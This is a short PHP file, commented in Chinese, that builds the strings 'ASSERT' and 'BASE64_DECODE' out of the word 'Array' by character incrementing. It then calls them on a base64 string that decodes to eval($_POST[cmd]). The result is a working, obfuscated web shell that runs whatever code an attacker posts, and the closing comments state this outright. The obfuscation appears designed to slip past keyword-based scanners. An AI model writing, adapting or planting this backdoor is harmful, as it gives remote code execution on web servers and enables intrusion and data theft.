<?php
//利用+""为0，以及将一个数组用$array.""强制转换后为字符串"Array”
$num = +"";
$num++; $num++; $num++; $num++;
$four = $num; // 4
$num++; $num++;
$six = $num; // 6
$_="";
$_[+$_]++;  // +""为0
$_=$_.""; // $_为字符串"Array"
$___=$_[+""];//A
$____=$___;
$____++;//B
$_____=$____;
$_____++;//C
$______=$_____;
$______++;//D
$_______=$______;
$_______++;//E
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.$six.$four.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R
$_____=$_________;
$_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbY21kXSk=")); 
//ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbY21kXSk="));  
//ASSERT(eval($_POST[cmd]));  
?>
